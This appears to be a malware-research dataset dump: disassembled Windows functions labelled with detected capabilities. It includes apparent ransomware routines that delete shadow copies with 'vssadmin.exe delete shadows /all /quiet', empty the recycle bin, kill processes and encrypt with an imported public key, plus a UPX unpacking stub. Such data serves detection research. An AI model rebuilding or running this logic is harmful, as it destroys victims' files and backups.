joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006040
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
lea edi, [esi + 0x40]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 4
lea eax, [esi + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10006093
push 0
lea eax, [ebp + 8]
mov dword [ebp + 8], 0
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebp
ret

Function at 0x100060a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
call fcn.10008250
mov esi, eax
cmp dword [esi + 0x184], 0
je 0x100060fa
mov eax, dword [esi + 0x39c]
test eax, eax
je 0x100060fa
cmp eax, 0xffffffff
je 0x100060fa
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
push 0
lea ecx, [ebp - 4]
mov dword [ebp - 4], eax
push ecx
push eax
lea eax, [ebp - 0x404]
push eax
push dword [esi + 0x39c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100061c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 4
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 4], 0
cmp ebx, 0xffffffff
je 0x10006284
push 0x28
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x28
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0xb8]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xb8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006760
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
lea eax, [ebp - 0x44]
push 0x44
push 0
push eax
call fcn.10010260
lea eax, [ebp - 0x44]
push eax
push 0
push dword [ebp + 8]
call fcn.10006cd0
add esp, 0x18
test eax, eax
je 0x10006803
push esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push eax
call fcn.10006e00
mov esi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea eax, [ebp - 0x40]
add esp, 8
push eax
push dword [ebp - 0x38]
call esi
cmp dword [ebp - 0x40], 0x103
jne 0x100067c4
push 0xffffffffffffffff
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x44], 0
call esi
push dword [ebp - 0x38]
call esi
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.10006e00
add esp, 8
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x24]
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x44]
push eax
call fcn.100066c0
add esp, 8
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10006cd0
Capabilities:
Create pipe
Create process on windows
Create process suspended
Create two anonymous pipes
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0x44
push 0
push edi
call fcn.100065a0
push 0x44
call fcn.100064f0
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ebx, eax
add esp, 0x10
mov dword [ebp - 0xc], 0
xor eax, eax
mov dword [ebp - 0x10], 0
mov dword [ebp + 0x10], 0
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], 0
mov word [ebx + 0x30], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp + 0x10]
mov dword [ebx], 0x44
push eax
lea eax, [ebp - 0xc]
mov dword [ebx + 0x2c], 1
push eax
call esi
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
call esi
mov eax, dword [ebp + 0x10]
mov dword [ebx + 0x3c], eax
mov eax, dword [ebp - 4]
or dword [ebx + 0x2c], 0x100
mov dword [ebx + 0x40], eax
lea eax, [edi + 0xc]
push eax
push ebx
push 0
push 0
push 4
push 1
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x40], eax
call esi
push dword [ebp - 4]
call esi
mov esi, dword [ebp - 8]
test esi, esi
je 0x10006de3
push dword [edi + 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x10006dd9
mov eax, dword [ebp - 0xc]
mov dword [edi + 0x1c], eax
mov eax, dword [ebp - 0x10]
push ebx
mov dword [edi + 0x20], eax
call fcn.10006540
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 8], 0
mov esi, dword [ebp - 8]
push ebx
call fcn.10006540
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006e00
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x800
mov esi, eax
xor edi, edi
xor ebx, ebx
call fcn.100064f0
add esp, 4
mov dword [ebp - 4], eax
test ebx, ebx
je 0x10006e2b
test edi, edi
jne 0x10006e78
mov edi, dword [ebp + 8]
push 0x800
push eax
lea eax, [edi + 0x24]
push eax
push dword [edi + 0x1c]
call fcn.10006ea0
push 0x800
push dword [ebp - 4]
lea ecx, [edi + 0x30]
mov ebx, eax
push ecx
push dword [edi + 0x20]
call fcn.10006ea0
add esp, 0x20
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, dword [ebp + 0xc]
ja 0x10006e75
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
jmp 0x10006e23
mov eax, dword [ebp - 4]
push eax
call fcn.10006540
add esp, 4
test ebx, ebx
je 0x10006e95
test edi, edi
je 0x10006e95
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006ea0
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0
push 0
push 0
push dword [ebp + 8]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x10006ee4
call ebx
mov esi, 1
jmp 0x10006f46
cmp dword [ebp - 8], 0
je 0x10006f54
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10006f0c
call ebx
mov esi, 1
jmp 0x10006f46
mov eax, dword [ebp - 4]
test eax, eax
je 0x10006f46
mov ecx, dword [edi + 4]
cmp ecx, 0x1400000
ja 0x10006f46
add eax, ecx
push eax
push dword [edi]
call fcn.10006470
push dword [ebp - 4]
mov ecx, eax
mov eax, dword [edi + 4]
push dword [ebp + 0x10]
add eax, ecx
mov dword [edi], ecx
push eax
call fcn.10006560
mov ecx, dword [ebp - 4]
add esp, 0x14
add dword [edi + 4], ecx
cmp dword [ebp - 8], 0
je 0x10006f54
test esi, esi
je 0x10006eb4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006fa0
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push pe_nt_image_headers32
mov eax, dword [esi]
mov dword [ebp + 0x14], eax
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push 0
push 1
push 0
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x10006fe7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CryptEncrypt___error__code:__d_n
call fcn.10006110
add esp, 8
xor eax, eax
pop esi
pop ebp
ret
mov eax, dword [ebp + 0x14]
mov dword [esi], eax
mov eax, 1
pop esi
pop ebp
ret

Function at 0x10007000
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 1
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10007053
call esi
cmp eax, 0x80090016
jne 0x10007053
push 8
push 1
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x10007053
call esi
push eax
push str.____CryptAcquireContextA_error__code:__d_n
call fcn.10006110
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
ret
lea eax, [edi + 4]
push eax
mov eax, dword [ebp + 8]
push 0
push 0
push dword [eax + 0xde4]
add eax, 0x5e4
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x1000708c
call esi
push eax
push str.____CryptImportKey_Public__error__code:__d_n
call fcn.10006110
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret
Function at 0x10007760
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], eax
lea ebx, [edi + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 4]
mov eax, dword [edi + 8]
and ecx, 0x3f
push ebx
movzx eax, byte [ecx + eax + 8]
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ebx, ebx
nop dword [eax + eax]
test bl, 0x3f
jne 0x100077c1
test esi, esi
je 0x100077b2
push esi
call fcn.100063a0
add esp, 4
push 0x1000
call fcn.10006310
add esp, 4
mov esi, eax
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 4]
push 0x40
mov dword [eax], ecx
mov eax, dword [edi + 8]
mov dword [eax + 4], esi
mov ecx, dword [edi + 8]
lea eax, [ecx + 8]
push eax
push 0x48
push ecx
push 0
push 0x200
call fcn.10007480
add esp, 0x18
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
inc ebx
cmp ebx, 0x400
jl 0x100077a0
push dword [0x1001a030]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov dword [ebp - 8], ebx
lea eax, [ebx + 0x48]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebx], 0
jne 0x1000786e
mov ecx, dword [ebp - 4]
inc ecx
mov dword [ebx], ecx
lea ebx, [edi + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 8]
push ebx
movups xmm0, xmmword [eax + 8]
movups xmmword [ecx + 8], xmm0
movups xmm0, xmmword [eax + 0x18]
movups xmmword [ecx + 0x18], xmm0
movups xmm0, xmmword [eax + 0x28]
movups xmmword [ecx + 0x28], xmm0
movups xmm0, xmmword [eax + 0x38]
mov dword [ecx + 4], 0
movups xmmword [ecx + 0x38], xmm0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ebx, ebx
cmp dword [ebp + 8], ebx
jbe 0x100078e4
nop
test bl, 0xf
jne 0x100078a1
test esi, esi
je 0x10007892
push esi
call fcn.100063a0
add esp, 4
push 0x1000
call fcn.10006310
add esp, 4
mov esi, eax
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 8]
mov ecx, dword [ebp - 4]
push 0x40
mov dword [eax], ecx
mov eax, dword [edi + 8]
mov dword [eax + 4], esi
mov ecx, dword [edi + 8]
lea eax, [ecx + 8]
push eax
push 0x48
push ecx
push 0
push 0x200
call fcn.10007480
add esp, 0x18
lea eax, [edi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x10007880
push esi
call fcn.100063a0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007980
Capabilities:
Create process on windows
Delete volume shadow copies
Empty the recycle bin
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push esi
push str.___Start_clear_backups.._n
call fcn.10006110
push 0x40
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.10010260
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0x44
xor eax, eax
mov dword [ebp - 0x60], 1
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x5c], ax
movq xmm0, qword [str.Sysnative]
mov ax, word [0x10011f38]
movq qword [ebp - 0x48], xmm0
movq xmm0, qword [str.System32]
mov word [ebp - 0x40], ax
mov al, byte [0x10011f44]
movq qword [ebp - 0x2c], xmm0
mov byte [ebp - 0x24], al
call fcn.10007c20
test eax, eax
lea ecx, [ebp - 0x2c]
push 0x64
lea eax, [ebp - 0xf0]
push 0
lea esi, [ebp - 0x48]
push eax
cmove esi, ecx
call fcn.10010260
add esp, 0x1c
mov byte [ebp - 0x20], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 7], 0
xorps xmm0, xmm0
mov byte [ebp - 3], 0
movups xmmword [ebp - 0x1f], xmm0
push 0
push 0x24
push eax
push 0
movq qword [ebp - 0xf], xmm0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
cmp byte [ebp - 0x20], al
je 0x10007a5d
inc eax
cmp byte [ebp + eax - 0x20], 0
jne 0x10007a43
test eax, eax
je 0x10007a5d
cmp byte [ebp + eax - 0x21], 0x5c
je 0x10007a5d
mov word [ebp + eax - 0x20], 0x5c
push esi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xf0]
push str._s_s_vssadmin.exe_delete_shadows__all__quiet
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0xf0]
push eax
push str.___Try_to_run_command:__s_n
call fcn.10006110
add esp, 0x18
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0xf0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10007ac9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CreateProcessA_vssadmin__error__code__d_n
call fcn.10006110
add esp, 8
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
test eax, eax
je 0x10007ae7
push eax
push str.____SHEmptyRecycleBinA___call_error__code__d_n
call fcn.10006110
add esp, 8
push 0x7d0
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x3c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10007b90
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
push edi
push dword [0x1001a030]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
lea edi, [esi + 0x48]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esi + 4]
mov ebx, dword [esi + ecx*4 + 8]
inc ecx
mov dword [esi + 4], ecx
cmp ecx, 0x10
jne 0x10007be2
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x40
mov dword [esi], eax
lea eax, [esi + 8]
push eax
push 0x60
push esi
push 0
push 0x200
mov dword [esi + 4], 0
call fcn.10007480
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x10007c20
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [0x1001a02c]
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push str.IsWow64Process
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1001ac98], eax
test eax, eax
je 0x10007c76
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1001ac98]
test eax, eax
jne 0x10007c76
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____IsWow64Process___call_error__code__d_n
call fcn.10006110
add esp, 8
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10007d60
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10007d93
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____call_CreateToolhelp32Snapshot___failed__code__d_n
call fcn.10006110
add esp, 8
pop ebx
mov esp, ebp
pop ebp
ret
push 0x124
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.10010260
add esp, 0xc
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10007de4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____call_Process32First___failed__code__d_n
call fcn.10006110
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x124], eax
je 0x10007e7c
xor esi, esi
cmp dword [edi + 0x3bc], esi
jle 0x10007e7c
nop dword [eax + eax]
mov eax, dword [edi + 0x3c0]
push dword [eax + esi*4]
lea eax, [ebp - 0x108]
push eax
call fcn.100080b0
add esp, 8
test eax, eax
jne 0x10007e37
inc esi
cmp esi, dword [edi + 0x3bc]
jl 0x10007e10
jmp 0x10007e7c
push dword [ebp - 0x124]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10007e61
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x10007e82
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x108]
push eax
push str.____call_OpenProcess__s__failed__code__d_n
call fcn.10006110
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x12c]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
mov eax, dword [ebp - 4]
jne 0x10007df2
push ebx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x55e210
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xec000]
push edi
or ebp, 0xffffffff
jmp 0x55e232
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x55e239
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x55e228
mov eax, 1
add ebx, ebx
jne 0x55e24b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x55e25c
jne 0x55e27b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x55e27b
dec eax
add ebx, ebx
jne 0x55e268
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x55e240
add ebx, ebx
jne 0x55e277
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x55e2cd
xor ecx, ecx
sub eax, 3
jb 0x55e293
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x55e302
sar eax, 1
mov ebp, eax
jmp 0x55e29e
add ebx, ebx
jne 0x55e29e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x55e26c
inc ecx
add ebx, ebx
jne 0x55e2ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x55e26c
add ebx, ebx
jne 0x55e2b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x55e2ae
jne 0x55e2ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x55e2ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x55e2ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x55e2de
jmp 0x55e22e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x55e2ec
add edi, ecx
jmp 0x55e22e
pop esi
mov edi, esi
mov ecx, 0x36ce
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x55e30a
cmp byte [edi], 0x15
jne 0x55e30a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x55e30f
lea edi, [esi + 0x15b000]
mov eax, dword [edi]
or eax, eax
je 0x55e387
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1661b4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x166268]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x55e33c
mov ecx, edi
jns 0x55e36b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16626c]
or eax, eax
je 0x55e381
mov dword [ebx], eax
add ebx, 4
jmp 0x55e359
call dword [esi + 0x16627c]
mov ebp, dword [esi + 0x166270]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x55e3bb
sub esp, 0xffffff80
jmp 0x46da41
Function at 0x401030
Capabilities:
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x44
push ebp
push esi
xor ebp, ebp
lea eax, [esp + 0x14]
push 0x38
push str.1.2.11
push eax
mov dword [esp + 0x40], ebp
mov dword [esp + 0x44], ebp
mov dword [esp + 0x48], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x20], ebp
call fcn.00406a60
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401084
mov eax, dword [esp + 0x54]
push esi
add eax, 0x12
push eax
push str.Failed_to_extract__s:_inflateInit___failed_with_return_code__d__n
call fcn.00401c30
add esp, 0xc
or eax, 0xffffffff
pop esi
pop ebp
add esp, 0x44
ret
push 0x2000
call fcn.0040a20f
add esp, 4
mov dword [esp + 0xc], eax
test eax, eax
jne 0x4010b8
mov eax, dword [esp + 0x54]
add eax, 0x12
push eax
push str.Failed_to_extract__s:_failed_to_allocate_temporary_input_buffer__n
push str.malloc
call fcn.00401ad0
add esp, 0xc
jmp 0x4011e0
push 0x2000
call fcn.0040a20f
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x4010ea
mov ecx, dword [esp + 0x54]
add ecx, 0x12
push ecx
push str.Failed_to_extract__s:_failed_to_allocate_temporary_output_buffer__n
push str.malloc
call fcn.00401ad0
add esp, 0xc
jmp 0x4011e0
push ebx
mov ebx, dword [esp + 0x60]
xor eax, eax
push edi
mov edi, dword [esp + 0x5c]
mov dword [esp + 0x10], eax
mov edi, dword [edi + 8]
nop dword [eax]
test eax, eax
jb 0x401115
ja 0x40110e
cmp edi, 0x2000
jbe 0x401115
mov esi, 0x2000
jmp 0x401117
mov esi, edi
mov eax, dword [esp + 0x58]
push dword [eax]
push esi
push 1
push dword [esp + 0x20]
call fcn.0040a553
add esp, 0x10
cmp eax, esi
jne 0x4011db
mov eax, dword [esp + 0x58]
push dword [eax]
call fcn.0040a341
add esp, 4
test eax, eax
jne 0x4011db
sub edi, esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], edi
sbb dword [esp + 0x10], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x2c], 0x2000
push 0
push eax
mov dword [esp + 0x30], ebp
call fcn.004050d0
mov edi, eax
add esp, 8
cmp edi, 0xfffffffc
jl 0x401190
cmp edi, 0xfffffffe
jle 0x4011c5
cmp edi, 2
je 0x40123c
mov eax, dword [esp + 0x60]
mov esi, 0x2000
sub esi, dword [esp + 0x2c]
test eax, eax
je 0x401204
push eax
push esi
push 1
push ebp
call fcn.0040b174
add esp, 0x10
cmp eax, esi
jne 0x4011c2
push dword [esp + 0x60]
call fcn.0040a341
add esp, 4
test eax, eax
je 0x401215
or edi, 0xffffffff
mov eax, dword [esp + 0x5c]
push edi
add eax, 0x12
push eax
push str.Failed_to_extract__s:_decompression_resulted_in_return_code__d__n
call fcn.00401c30
add esp, 0xc
or esi, 0xffffffff
pop edi
pop ebx
lea eax, [esp + 0x14]
push eax
call fcn.004068a0
push dword [esp + 0x10]
call fcn.0040a1f4
push ebp
call fcn.0040a1f4
add esp, 0xc
mov eax, esi
pop esi
pop ebp
add esp, 0x44
ret
test ebx, ebx
je 0x401215
push esi
push ebp
push ebx
call fcn.00408860
add esp, 0xc
add ebx, esi
cmp dword [esp + 0x2c], 0
je 0x401160
cmp edi, 1
je 0x401243
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x401233
cmp dword [esp + 0x18], eax
jbe 0x4011c5
mov edi, dword [esp + 0x18]
jmp 0x401100
mov edi, 0xfffffffd
jmp 0x4011c5
xor esi, esi
jmp 0x4011de